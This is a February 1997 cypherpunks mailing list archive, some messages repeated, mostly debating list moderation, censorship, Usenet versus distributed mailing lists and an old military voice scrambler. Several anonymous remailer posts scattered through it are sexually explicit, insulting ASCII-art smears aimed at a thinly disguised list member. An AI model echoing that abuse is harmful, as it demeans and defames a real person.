songbird.com (Kent Crispin) Date: Mon, 3 Feb 1997 21:19:57 -0800 (PST) Subject: what's in a name? In-Reply-To: <199702040140.RAA09183@toad.com> Message-ID: <199702040623.WAA29603@songbird.com> Wei Dai allegedly said: > > I've stayed out of the debate about list moderation so far, but a recent > post from tmcghan at gill-simpson.com reminds me of something I've been > thinking about. An interesting way to look at what happened is that John > Gilmore owns the name "cypherpunks at toad.com" and has chosen to exercise > that ownership. Even though those of us who disagree with the way he has > done so are free to leave and set up our own mailing list, it is costly to > do so, and the problem of central name ownership remains. List > subscribers have made investments that are specific to the name > "cypherpunks at toad.com", and most of the cost of switching to a new list is > in the new investments they would have to (re)make. The fact is that a > promise of no censorship is not enough incentive for us to do so. > > I suspect that the hierarchical nature of name ownership on the Internet > today will be an important technological barrier for the establishment of > truly anarchic virtual communities. Unless this problem is solved, the > closest we'll come is pseudo-anarchies that exist with the tolerance of > beneficent dictators. While the name hierarchy may have some effect similar to what you suggest, I think the real issue is more likely economic hierarchy -- toad.com is a name of some value, true, but toad.com is also a T1 connection and some compute power that many people simply can't afford. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From kent at songbird.com Mon Feb 3 21:22:37 1997 From: kent at songbird.com (Kent Crispin) Date: Mon, 3 Feb 1997 21:22:37 -0800 (PST) Subject: concerning Ben Franklin In-Reply-To: <199702040155.RAA09584@toad.com> Message-ID: <199702040625.WAA29629@songbird.com> David Farber allegedly said: > > My favorate Ben Franklin quote is > > "They that can give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." - Ben Franklin, ~1784 In the constitutional convention a property requirement for voting was discussed. Franklin said "A man owns an ass; he can vote. The ass dies; he cannot vote. Who owns the vote?" (I may not have quoted it precisely.) -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From blancw at MICROSOFT.com Mon Feb 3 21:25:58 1997 From: blancw at MICROSOFT.com (Blanc Weber) Date: Mon, 3 Feb 1997 21:25:58 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <88CE23A0B727D0118BB000805FD47524AF3DAC@RED-81-MSG> From: Vladimir Z. Nuri, in his Ruskie disguise: hi timmy, a word to the wise: it amuses me that whenever I referred to a cypherpunk "community" my eyebrows were flamed off, by people who claimed there was no such thing. a community has certain properties, many of which I believe the cypherpunks "crowd" has always lacked. ...................................... LD, when you say "community" it means something else than when others do. When the cpunks said "community" they meant the camaraderie which develops in the company of people with similar interests. When you say it, it means a group of people stuck to each other by rules of order and socialization, with boundary lines predetermining the limits of their arena. The cpunks had intended that everyone would self-determine the extent or limits of their interactions, thus arriving at a sense of "community" from the decision to do so, rather than from being squeezed along through "proper" channels. == one aspect of the "crowd" that is lacking is LEADERSHIP. I have pointed this out again and again. the cpunks believe that leadership is no longer relevant in a digital society, somehow. the list is in the shape it is in because of POOR LEADERSHIP.. neither you nor EH care about what LEADERSHIP entails, or wish to exert the sacrifices that it requires. ............................... Typically, people who yell for LEADERSHIP are those who either need it themselves or are eager to supply it for others - i.e., to determine the course of events. Which one of these categories do you yourself fall into? == <<* The proper solution to bad speech is more speech, not censorship. ah, so everyone should post 5 messages to the list, instead of 1, and those that are quite should post 3. ........................................ I would more precisely say that the solution to bad speech is better speech, thus eliminating the need for 5 messages when 1 will do. YMMV. Do you think this would hold up in reality? == quite an elegant solution. do you see how the silly rhetoric fails to hold up in reality? when will you get a clue about where your own views are really leading you? ................................ You're starting to sound like Ayn Rand. (heh) .. Blanc From blancw at MICROSOFT.com Mon Feb 3 21:29:25 1997 From: blancw at MICROSOFT.com (Blanc Weber) Date: Mon, 3 Feb 1997 21:29:25 -0800 (PST) Subject: Filling Power Vacuums Message-ID: From: Vladimir Z. Nuri, filling in for Mother Theresa: timmy, I encourage you to understand that leadership is not inherently evil. there are enlightened ways to lead people that leave the group better as a whole. you just fell into the trap of "negative leadership", the dark side of the force as you write. imho, however, there is a light side of the force that still involves leadership. ................................................. Well, thank you, Master Yoda ! :>) Not speaking for Tim (I doubt he will answer you, anyway), but he *has* supplied leadership. Leaders can lead by example, and also by the clarity of thought & ideas which they present. I think he has quite often supplied such qualities in his posts, and this has contributed greatly to the atmosphere of anarchic "community". Speaking of leadeship, though, to "lead" implies that there is a place to go, and that the leader is the one at the head of the pack, indicating the proper direction (this would be the opposite of what anarchists want, since they would be going not toward, but away from, something). If leadership is defined to mean setting a course for people who lack direction, this implies the existence of followers who are willing to be led into places and to adopt methodologies when they don't know what else to do; that they will follow a leader who will supply structure and purpose to their indecisive condition. This does place a lot of responsibility upon a leader, then, for setting the goal, the course, and the methodology. That's a lot of formality to impose; too much, when you're only exchanging ideas rather than formally setting out to accomplish something specific (like by a particular time & date). Is it Time for the Revolution? .. Blanc From kent at songbird.com Mon Feb 3 21:33:38 1997 From: kent at songbird.com (Kent Crispin) Date: Mon, 3 Feb 1997 21:33:38 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702040126.RAA08926@toad.com> Message-ID: <199702040636.WAA29734@songbird.com> Scott V. McGuire allegedly said: [...] > I didn't change my subscription from the filtered to > the unfiltered list because I expected this to end in a month and I was > willing to participate in the experiment. You can't ask someone to try > something for a month to see if they like it and call there use of it in > that month evidence that they like it. I agree. But there is more. As much as anything else, I didn't change lists because of inertia and laziness. I suspect that most people are like me in this regard. I suspect that if the tactic had been to require people to subscribe to the moderated list we would see just the reverse of the current numbers. In fact, in the interests of fairness, integrity, and adherence to the scientific method, I suggest that after this month trial has passed that we reverse the lists, and see how many change to the moderated list. [snip] > Sandy, you said that you thought the list had improved since you began > moderating. How could you think otherwise? When you send an article to > the flames list its because you think the list would have been worse > otherwise. I don't think the moderators opinion should be considered in > determining if moderation is a good thing. I think there is a conflict of > interest there. Absolutely no doubt that there is a conflict of interest. In Sandy's shoes a saint couldn't be objective. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From nobody at zifi.genetics.utah.edu Mon Feb 3 21:38:51 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Mon, 3 Feb 1997 21:38:51 -0800 (PST) Subject: [PCS] Fighting the cyber-censors Message-ID: <199702040538.WAA16306@zifi.genetics.utah.edu> Dumbbell Vindictive styles his facial hair to look more like pubic hair. D\___/\ (0_o) Dumbbell Vindictive (V) ---oOo--U--oOo--- From nobody at zifi.genetics.utah.edu Mon Feb 3 21:40:47 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Mon, 3 Feb 1997 21:40:47 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702040540.VAA15692@toad.com> pdh at best.com (Peter Hendrickson) writes: > What we want are many machines carrying the cypherpunks list. A > message posted to any machine goes to all of the others. Each > machine sends messages to its subscribers only once. Some of > these machines should be across borders. Ever heard of Usenet? It works exactly like that... From nobody at zifi.genetics.utah.edu Mon Feb 3 21:40:57 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Mon, 3 Feb 1997 21:40:57 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702040540.VAA15700@toad.com> Adam Back writes: > Lucky Green writes: > > I believe that Cypherpunks is beyond hope of recovery. In fact, each day > > Cypherpunk (as in cypherpunks at toad.com) lives on, it does damage to the > > cause. Let's kill the list. Once and for all. Let the hard core crypto go > > to Coderpunks, the politics to Cryptography, and the garbage into the void. > > What about the leaks? (rc4.c, Mykotronics dumpster contents, etc) > Where do they go? How about sci.crypt, where they usually go before being forwarded to cypherpunks? From kent at songbird.com Mon Feb 3 21:41:48 1997 From: kent at songbird.com (Kent Crispin) Date: Mon, 3 Feb 1997 21:41:48 -0800 (PST) Subject: concerning Ben Franklin Message-ID: <199702040541.VAA15779@toad.com> David Farber allegedly said: > > My favorate Ben Franklin quote is > > "They that can give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." - Ben Franklin, ~1784 In the constitutional convention a property requirement for voting was discussed. Franklin said "A man owns an ass; he can vote. The ass dies; he cannot vote. Who owns the vote?" (I may not have quoted it precisely.) -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From kent at songbird.com Mon Feb 3 21:41:50 1997 From: kent at songbird.com (Kent Crispin) Date: Mon, 3 Feb 1997 21:41:50 -0800 (PST) Subject: what's in a name? Message-ID: <199702040541.VAA15781@toad.com> Wei Dai allegedly said: > > I've stayed out of the debate about list moderation so far, but a recent > post from tmcghan at gill-simpson.com reminds me of something I've been > thinking about. An interesting way to look at what happened is that John > Gilmore owns the name "cypherpunks at toad.com" and has chosen to exercise > that ownership. Even though those of us who disagree with the way he has > done so are free to leave and set up our own mailing list, it is costly to > do so, and the problem of central name ownership remains. List > subscribers have made investments that are specific to the name > "cypherpunks at toad.com", and most of the cost of switching to a new list is > in the new investments they would have to (re)make. The fact is that a > promise of no censorship is not enough incentive for us to do so. > > I suspect that the hierarchical nature of name ownership on the Internet > today will be an important technological barrier for the establishment of > truly anarchic virtual communities. Unless this problem is solved, the > closest we'll come is pseudo-anarchies that exist with the tolerance of > beneficent dictators. While the name hierarchy may have some effect similar to what you suggest, I think the real issue is more likely economic hierarchy -- toad.com is a name of some value, true, but toad.com is also a T1 connection and some compute power that many people simply can't afford. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From blancw at microsoft.com Mon Feb 3 21:41:56 1997 From: blancw at microsoft.com (Blanc Weber) Date: Mon, 3 Feb 1997 21:41:56 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702040541.VAA15787@toad.com> From: Vladimir Z. Nuri, in his Ruskie disguise: hi timmy, a word to the wise: it amuses me that whenever I referred to a cypherpunk "community" my eyebrows were flamed off, by people who claimed there was no such thing. a community has certain properties, many of which I believe the cypherpunks "crowd" has always lacked. ...................................... LD, when you say "community" it means something else than when others do. When the cpunks said "community" they meant the camaraderie which develops in the company of people with similar interests. When you say it, it means a group of people stuck to each other by rules of order and socialization, with boundary lines predetermining the limits of their arena. The cpunks had intended that everyone would self-determine the extent or limits of their interactions, thus arriving at a sense of "community" from the decision to do so, rather than from being squeezed along through "proper" channels. == one aspect of the "crowd" that is lacking is LEADERSHIP. I have pointed this out again and again. the cpunks believe that leadership is no longer relevant in a digital society, somehow. the list is in the shape it is in because of POOR LEADERSHIP.. neither you nor EH care about what LEADERSHIP entails, or wish to exert the sacrifices that it requires. ............................... Typically, people who yell for LEADERSHIP are those who either need it themselves or are eager to supply it for others - i.e., to determine the course of events. Which one of these categories do you yourself fall into? == <<* The proper solution to bad speech is more speech, not censorship. ah, so everyone should post 5 messages to the list, instead of 1, and those that are quite should post 3. ........................................ I would more precisely say that the solution to bad speech is better speech, thus eliminating the need for 5 messages when 1 will do. YMMV. Do you think this would hold up in reality? == quite an elegant solution. do you see how the silly rhetoric fails to hold up in reality? when will you get a clue about where your own views are really leading you? ................................ You're starting to sound like Ayn Rand. (heh) .. Blanc From kent at songbird.com Mon Feb 3 21:43:27 1997 From: kent at songbird.com (Kent Crispin) Date: Mon, 3 Feb 1997 21:43:27 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702040543.VAA15856@toad.com> Scott V. McGuire allegedly said: [...] > I didn't change my subscription from the filtered to > the unfiltered list because I expected this to end in a month and I was > willing to participate in the experiment. You can't ask someone to try > something for a month to see if they like it and call there use of it in > that month evidence that they like it. I agree. But there is more. As much as anything else, I didn't change lists because of inertia and laziness. I suspect that most people are like me in this regard. I suspect that if the tactic had been to require people to subscribe to the moderated list we would see just the reverse of the current numbers. In fact, in the interests of fairness, integrity, and adherence to the scientific method, I suggest that after this month trial has passed that we reverse the lists, and see how many change to the moderated list. [snip] > Sandy, you said that you thought the list had improved since you began > moderating. How could you think otherwise? When you send an article to > the flames list its because you think the list would have been worse > otherwise. I don't think the moderators opinion should be considered in > determining if moderation is a good thing. I think there is a conflict of > interest there. Absolutely no doubt that there is a conflict of interest. In Sandy's shoes a saint couldn't be objective. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From blancw at microsoft.com Mon Feb 3 21:43:32 1997 From: blancw at microsoft.com (Blanc Weber) Date: Mon, 3 Feb 1997 21:43:32 -0800 (PST) Subject: Filling Power Vacuums Message-ID: <199702040543.VAA15857@toad.com> From: Vladimir Z. Nuri, filling in for Mother Theresa: timmy, I encourage you to understand that leadership is not inherently evil. there are enlightened ways to lead people that leave the group better as a whole. you just fell into the trap of "negative leadership", the dark side of the force as you write. imho, however, there is a light side of the force that still involves leadership. ................................................. Well, thank you, Master Yoda ! :>) Not speaking for Tim (I doubt he will answer you, anyway), but he *has* supplied leadership. Leaders can lead by example, and also by the clarity of thought & ideas which they present. I think he has quite often supplied such qualities in his posts, and this has contributed greatly to the atmosphere of anarchic "community". Speaking of leadeship, though, to "lead" implies that there is a place to go, and that the leader is the one at the head of the pack, indicating the proper direction (this would be the opposite of what anarchists want, since they would be going not toward, but away from, something). If leadership is defined to mean setting a course for people who lack direction, this implies the existence of followers who are willing to be led into places and to adopt methodologies when they don't know what else to do; that they will follow a leader who will supply structure and purpose to their indecisive condition. This does place a lot of responsibility upon a leader, then, for setting the goal, the course, and the methodology. That's a lot of formality to impose; too much, when you're only exchanging ideas rather than formally setting out to accomplish something specific (like by a particular time & date). Is it Time for the Revolution? .. Blanc From nobody at squirrel.owl.de Mon Feb 3 21:57:27 1997 From: nobody at squirrel.owl.de (Secret Squirrel) Date: Mon, 3 Feb 1997 21:57:27 -0800 (PST) Subject: [PICS] Credentials without Identity--Race Bits Message-ID: <19970204054806.26936.qmail@squirrel.owl.de> Deflated Volcano K[rust] Of The Moment does NOT eat pussy. He only eats asshole if it's got a big dick up in front. Whoever calls him bisexual is a fucking liar. He likes to suck cocks in front of an audience. _ O O _ \-|-\_/-|-/ Deflated Volcano K[rust] Of The Moment /^\ /^\ ^^ ^^ ^^ ^^ From shamrock at netcom.com Mon Feb 3 22:06:08 1997 From: shamrock at netcom.com (Lucky Green) Date: Mon, 3 Feb 1997 22:06:08 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <3.0.32.19970203220420.006ecc98@192.100.81.136> At 07:59 PM 2/3/97 -0800, Greg Broiles wrote: >At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote: > >>Moderation has been a failure. I'm pretty good at filtering and I >>can sadly report that there is very little signal out there. > >I don't think it's reasonable to expect an increase in signal within 2 1/2 >weeks of the start of moderation. Improvement in the s/n ratio, yes. But >(at least if my speculation is correct), the good posts driven away by bad >posts (because some good authors are too busy to wade through lots of crap, >and some good authors are reluctant to publish their work amidst crap) >would take a much longer time to return. Many good authors have already left the list and *nothing* will get them back. The only solution is to move traffic to a different list. [Ever wondered why it is called a "TAZ" and not a "PAZ"? Though, in all fairness, I there is a "SPAZ". .] -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From EALLENSMITH at ocelot.Rutgers.EDU Mon Feb 3 22:18:12 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Mon, 3 Feb 1997 22:18:12 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <01IF00D6DQPC9AN1BM@mbcl.rutgers.edu> From: IN%"roach_s at alph.swosu.edu" "Sean Roach" 4-FEB-1997 00:47:40.30 >On your idea for fast implementation, this could be hacked by would-be >censors. A message comes into the list, the censor sees that the post is >from a regular enemy. The censor then copies the header information onto a >new message, one containing garbage, or snippets from old posts, reads the >new post to see if it is acceptable, and if it is, adds a new header, >probably only the time would be changed, and transmits it out. If the would >be censor was the sysop of a machine near the origin of the message, and if >the censor operated the censorship either by bots, or monitored the feed 24 >hours a day, (not likely), then the actual message would get to few. I would suggest that the cure for this problem is to have what is examined be a cryptographically secure hash instead of (or as well as) the message ID. The hash should be over the body of the message, and possibly the sender and Subject line. Unless Lance has driven up the prices at Infonex a lot, I'd be willing to support such a server on an Infonex account. I'd _greatly_ appreciate help getting the thing started, preferably as a group endeavour (to spread the load (i.e., keep infonex from being overwhelmed), keep me from temptation, and make it less likely that a legally troublesome message would go through an account that I might be blamed for). -Allen From shamrock at netcom.com Mon Feb 3 22:26:09 1997 From: shamrock at netcom.com (Lucky Green) Date: Mon, 3 Feb 1997 22:26:09 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702040626.WAA16881@toad.com> At 07:59 PM 2/3/97 -0800, Greg Broiles wrote: >At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote: > >>Moderation has been a failure. I'm pretty good at filtering and I >>can sadly report that there is very little signal out there. > >I don't think it's reasonable to expect an increase in signal within 2 1/2 >weeks of the start of moderation. Improvement in the s/n ratio, yes. But >(at least if my speculation is correct), the good posts driven away by bad >posts (because some good authors are too busy to wade through lots of crap, >and some good authors are reluctant to publish their work amidst crap) >would take a much longer time to return. Many good authors have already left the list and *nothing* will get them back. The only solution is to move traffic to a different list. [Ever wondered why it is called a "TAZ" and not a "PAZ"? Though, in all fairness, I there is a "SPAZ". .] -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From EALLENSMITH at ocelot.Rutgers.EDU Mon Feb 3 22:26:12 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Mon, 3 Feb 1997 22:26:12 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702040626.WAA16884@toad.com> From: IN%"roach_s at alph.swosu.edu" "Sean Roach" 4-FEB-1997 00:47:40.30 >On your idea for fast implementation, this could be hacked by would-be >censors. A message comes into the list, the censor sees that the post is >from a regular enemy. The censor then copies the header information onto a >new message, one containing garbage, or snippets from old posts, reads the >new post to see if it is acceptable, and if it is, adds a new header, >probably only the time would be changed, and transmits it out. If the would >be censor was the sysop of a machine near the origin of the message, and if >the censor operated the censorship either by bots, or monitored the feed 24 >hours a day, (not likely), then the actual message would get to few. I would suggest that the cure for this problem is to have what is examined be a cryptographically secure hash instead of (or as well as) the message ID. The hash should be over the body of the message, and possibly the sender and Subject line. Unless Lance has driven up the prices at Infonex a lot, I'd be willing to support such a server on an Infonex account. I'd _greatly_ appreciate help getting the thing started, preferably as a group endeavour (to spread the load (i.e., keep infonex from being overwhelmed), keep me from temptation, and make it less likely that a legally troublesome message would go through an account that I might be blamed for). -Allen From nobody at zifi.genetics.utah.edu Mon Feb 3 22:29:35 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Mon, 3 Feb 1997 22:29:35 -0800 (PST) Subject: The V chip Message-ID: <199702040629.XAA17045@zifi.genetics.utah.edu> Dr.Demented Vomit was born when his mother was on the toilet. \|/ @ @ -oOO-(_)-OOo- Dr.Demented Vomit From nobody at zifi.genetics.utah.edu Mon Feb 3 22:31:36 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Mon, 3 Feb 1997 22:31:36 -0800 (PST) Subject: [DSS] PGP Signatures Message-ID: <199702040631.XAA17062@zifi.genetics.utah.edu> Decoy Vilus K)ankersore( Of The Minute's family tree goes straight up. All of his ancestors were siblings, too dumb to recognize each other in the dark. |\_/| (0_0) Decoy Vilus K)ankersore( Of The Minute ==(Y)== ---(u)---(u)--- From EALLENSMITH at ocelot.Rutgers.EDU Mon Feb 3 22:42:03 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Mon, 3 Feb 1997 22:42:03 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <01IF016KB5609AN1BM@mbcl.rutgers.edu> From: IN%"gbroiles at netbox.com" "Greg Broiles" 4-FEB-1997 01:26:13.34 >(I'm working on a message re moderation and the list which will better >explain what I think about that - but I'm not trying to argue, above, that >we *must* have moderation for a long time - simply that it's too early to >call it a failure for failing to significantly increase the number of >useful messages.) I'll be interested in that message. I have problems with the takeover of the original list name, personally. While it is certainly John Gilmore's right to do whatever he wants with the mailing list software/hardware (I believe we've settled that, right?), I'd prefer for the cypherpunks _name_ not be associated with a moderated/censored list. (I mean no insult to either Sandy or John in this, BTW... I simply think that they've gone about this the wrong way. For instance, if John was getting an email overload for toad.com and was trying to indirectly reduce the load via reducing responses to flames, there are other ways to solve the problem - such as the distributed mailing list idea. I do think that Sandy's filtered list could provide a valuable service - most of the other filtered lists seem to filter out a bit too much, judging by the "cc any replies to this message directly to me, I'm on the [insert name of filtered list]" messages I see. If the list switches to cypherpunks and cypherpunks-edited, I might go with cypherpunks-edited (or with some combo of cypherpunks-edited and cypherpunks-flames, the latter more filtered by procmail). My objection is mainly due to the principle of the thing.) Incidentally, I checked the cyberpass.net services, and it does list mailing lists - including a 10$ per month charge per 100 subscribers. At that rate, I can afford about 100 subscribers on a local distributed list, given the 10% discount. (Depending on how it goes, I might be able to afford more... I haven't looked at my personal finances in detail recently.) >I think you misspelled "Usenet". Hope this helps. >Seriously, if you want a distributed no-choke-points "flooding" message >distribution system, you're talking about Usenet. Robust software exists >for clients and servers, and it's already supported worldwide on many >operating systems. No need to write more software to graft that >functionality onto E-mail. If the list is going to turn into Usenet (we've >already got most of Usenet's better kooks), we might as well just move the >damn thing over to alt.cypherpunks and be done with it. (Anyone care to >guess who founded alt.* as a way to route around censorship?) I'd point out that we _know_ every list member can get email, but not that they can get Usenet. I can't conveniently get it, for instance - I'd have to read it via HTTP and respond via email to a news-to-mail server. Sure, I can get an account at infonex or wherever and pick up the news groups there... but I'd prefer not to be forced to, and I suspect the same is true of many people. >(Of course, Usenet is a technical success and a spectacular failure, >content-wise. So opponents of moderation will be forgiven for failing to >mention this sparkling example of an unmoderated, anything-goes forum for >discussion.) Usenet also has easy crossposting, has been discovered by just about every spam artist known to humankind, and doesn't have very good filtering software (IMO, the last time I checked). Limited propagation, especially for a new alt group, especially for a _controversial_ alt group, is also a problem. Sure, Usenet has its advantages. (Under allens at earlham.edu and allens at yang.earlham.edu, I was the second or third highest poster on it for a few weeks a few years back. I'm familiar with Usenet.) But it also has its problems. -Allen From die at pig.die.com Mon Feb 3 22:53:10 1997 From: die at pig.die.com (Dave Emery) Date: Mon, 3 Feb 1997 22:53:10 -0800 (PST) Subject: FCPUNX:ecure Phones (fwd) Message-ID: <9702040652.AA11304@pig.die.com> Forwarded message: >From die Tue Feb 4 00:30:04 1997 Subject: Re: FCPUNX:ecure Phones To: eli at gs160.sp.cs.cmu.edu (Eli Brandt) Date: Tue, 4 Feb 1997 00:30:04 -0500 (EST) From: "Dave Emery" Reply-To: die at die.com In-Reply-To: <199702040425.UAA08359 at blacklodge.c2.net> from "Eli Brandt" at Feb 3, 97 11:24:03 pm X-Mailer: ELM [version 2.4 PL24alpha3] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1404 Don't think I will bore the list with it, But a slightly more complex version of this scheme was one of the major tactical medium security voice scrambling systems used by the US in the 70's and 80's and even to a slight extent into the 90's on military radio circuits. The military version is called Parkhill and the crypto gear is the KY-65 and KY-75. At one time (in the 70's) it was used for at least secret traffic. It was downgraded a couple of times since and is now considered obselete and compromised. A Parkhill crypto box can be seen in the NSA museum... The NSA version used time inversion (playing voice samples backwards) and faster shuffling than this one does, and possibly a more secure key generator. But it is rumored to have been broken by more than one opponent, perhaps including drug cartels. Its appeal and why it was so extensively used for a while is that it interfaces to normal voice radio gear at the audio input and output level rather than requiring different modulations and complex digital modems integrated into the radio. It also gives pretty good speech quality and speaker recognition. Its primary replacement is the ANDVT digital voice terminal which takes advantage of modern DSP technology to implement modems usable over radio links and vocoders which can produce acceptable speech at 1200 or 2400 baud. Dave Emery die at die.com From nobody at squirrel.owl.de Mon Feb 3 22:56:56 1997 From: nobody at squirrel.owl.de (Secret Squirrel) Date: Mon, 3 Feb 1997 22:56:56 -0800 (PST) Subject: what's in a name? Message-ID: <19970204065014.28319.qmail@squirrel.owl.de> Without answering any of the points raised by Wei Dai, let me address the subject line. I have been a long time reader of and occasional contributor to the cypherpunks list. Since it is high volume, I prefer not to have it show up in my mailbox, but read it from either nntp.hks.net or infinity.nus.sg/cypherpunks. With the recent change in status of the list, what I get at those two places is the edited list. The same would apply to other sublists subscribed to cypherpunks at toad.com too. If hks and infinity started archiving the unedited list, this wouldn't bother me so much. Other than that, I am saddened, as much as a Tim is enraged, that a supposedly libertarian and anarchistic group of people has decided that censorship is the right solution to their problems. Btw, what is with nntp.hks.net? Seems to have been down for couple of days. From nobody at zifi.genetics.utah.edu Mon Feb 3 22:57:01 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Mon, 3 Feb 1997 22:57:01 -0800 (PST) Subject: [STEGO] Degausser Message-ID: <199702040657.XAA17392@zifi.genetics.utah.edu> Decoy L[esbian] Vitriol K[ancer]OTM has been fired for masturbating in front of his boss. o/ Decoy L[esbian] Vitriol K[ancer]OTM <| / > From tcmay at got.net Mon Feb 3 23:05:25 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 3 Feb 1997 23:05:25 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702031455.GAA25476@toad.com> Message-ID: At 10:50 PM -0500 2/3/97, Michael Froomkin - U.Miami School of Law wrote: >I agree with two of Tim's points. I express no opinion about the others, >except that I think these are the two most important. > >(1) I agree with Tim that as a matter of principle, it would be preferable >to create a new moderated list, with a similar but distinguishable name, >and leave the existing list as it was. I happen to think less turns on This is a point of view many of the most thoughtful commenters seem to agree on, isn't it? One would have thought that had Sandy and John really been interested in hearing the views of list members, this approach would have eventually won out. >(2) Much to my surprise, so far moderation is a failure. I think it is a It doesn't surprise me, but then I've rarely been a fan of moderation. As Michael points out below, it mostly works on "RISKS," but in most other cases I can think of it merely slows discussion down, introduces strange skewings of opinions (to win "approval" of the moderator), and almost never causes better posts to be written. (The case of skilled editors soliciting good articles is of course an entirely different issue.) >failure because it achieves neither of the moderation "sweet spots". No >moderation is one "sweet spot". Strict moderation -- the kind you get on >RISKS, where you know nearly every post is on-topic or at least worth your >time -- is another. This is neither. My clumsy procmail filters are almost >as busy as ever. What slips through is largely duplicative of what I get Several people have also commented on this, that their filters are still working overtime. As it should be, really, as no moderator can make the list match any given person's preferences. (Personally, I'm not even convinced filters are essential. It takes no longer than 5 seconds to glance at a message and know whether to scrap it or not. Granted, it takes a bit of time to download, especially at slower modem speeds. But whether Sandy's censorship is producing any significant "savings" depends on how many messages he's sorting into each pile...clearly if 20% or less of the total posts are being filtered out, then the savings are ignorable. Anybody have the statistics handy? Hint: Sandy should publish a periodic accounting of how many messages went into each pile, and should also publish his criteria on a regular basis, pointing out any modifications he's made to his criteria since the last report.) >As Oscar Wilde either said, or should have said, the worst crime is to be >boring. Maybe the list is like the portrait of Dorian Gray, with an image of the list sitting in a closet at Toad Hall aging not so gracefully. >PS. New members of the list may justly ask, where does he get off calling >the posters he doesn't killfile bores? I stopped posting a lot to the >list some time ago, back when I decided my energies were better spent >writing long stuff (see my web page) and playing with my kids. I kept >reading the list primarily to read the work of about six people -- and Tim >was one of them. Thanks. And I should point out in fairness that Michael recruited me for his panel on "Governmental and Societal Implications of Digital Cash" (or something like this) at the upcoming CFP. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From pdh at best.com Mon Feb 3 23:37:45 1997 From: pdh at best.com (Peter Hendrickson) Date: Mon, 3 Feb 1997 23:37:45 -0800 (PST) Subject: Mailing Lists vs. Usenet Message-ID: At 7:59 PM 2/3/1997, Greg Broiles wrote: > Seriously, if you want a distributed no-choke-points "flooding" > message distribution system, you're talking about Usenet. Robust > software exists for clients and servers, and it's already supported > worldwide on many operating systems. No need to write more software > to graft that functionality onto E-mail. If the list is going to > turn into Usenet (we've already got most of Usenet's better kooks), > we might as well just move the damn thing over to alt.cypherpunks > and be done with it. (Anyone care to guess who founded alt.* as a > way to route around censorship?) > (Of course, Usenet is a technical success and a spectacular failure, > content-wise. So opponents of moderation will be forgiven for > failing to mention this sparkling example of an unmoderated, > anything-goes forum for discussion.) Several people have brought up this point and it is worth discussing. There are some differences. I don't like Usenet's architecture. It is silly to duplicate vast amounts of traffic everywhere. It was a fine idea when there were 100 groups with lots of overlap in what people read. The horse and buggy was a good idea once too. Performance is a problem with Usenet. The system I envision (nearly identical to Igor's) would have about ten mail servers, each of which sends articles to all the others. Even in situations where something is wrong, articles will be nearly instantly transmitted along an alternate path. I think this is harder to arrange with Usenet. Competition among Cypherpunks providers works the right way. If you are getting your mail on a system which is slow and isn't up all the time, you have good reasons to switch to another provider. This is easy - just subscribe yourself to one mailing list and unsubscribe from the other. It's harder for most people to do this with Usenet. You may not want to switch your ISP to get a better Cypherpunks feed. In my opinion, Usenet is less conducive to filtering than is mail. It is true that there are lots of Usenet readers which can do things like kill whole threads and the like, but mail just screams "run me through a perl script!" This is mostly subjective, of course. More subjective opinions: 